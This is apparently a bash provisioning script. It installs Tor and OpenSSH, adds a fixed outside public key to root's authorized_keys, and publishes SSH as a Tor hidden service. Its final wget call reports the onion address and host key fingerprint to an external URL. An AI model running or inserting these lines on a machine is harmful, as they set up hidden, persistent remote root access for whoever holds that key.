#!/bin/bash
set -x

apt update
#apt remove  --yes man-db # prevent slow mandb update
apt install --yes haveged
apt install --yes tor openssh-server

addgroup --system sshusers
adduser root sshusers

cd "$HOME" && mkdir -p .ssh && echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBZmBBwUdahwdBjkiUJOPddMzsgfYOd9IqZlUqbzsBQ1 lambda@gauss" >> .ssh/authorized_keys && chmod og= .ssh -Rv && echo ok

echo 'HostKey /etc/ssh/ssh_host_rsa_key
PermitRootLogin prohibit-password
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem	sftp	/usr/lib/openssh/sftp-server
AllowGroups sshusers' > /etc/ssh/sshd_config

echo 'SocksPort 9050 IPv6Traffic
DataDirectory /var/lib/tor

DisableDebuggerAttachment 0

HiddenServiceDir /var/lib/tor/ssh_hidden_service/
HiddenServicePort 22 127.0.0.1:22' > /etc/tor/torrc

service ssh restart
service tor restart

sleep 5

ONION="$(cat /var/lib/tor/ssh_hidden_service/hostname)"
SSHPUB="$(ssh-keygen -lf /etc/ssh/ssh_host_rsa_key.pub | cut -d' ' -f2)"

wget "https://wwww.ecd.space/_/46f7b87d-5c7a-42ee-b570-ac2c826a60e9/$ONION/$SSHPUB"

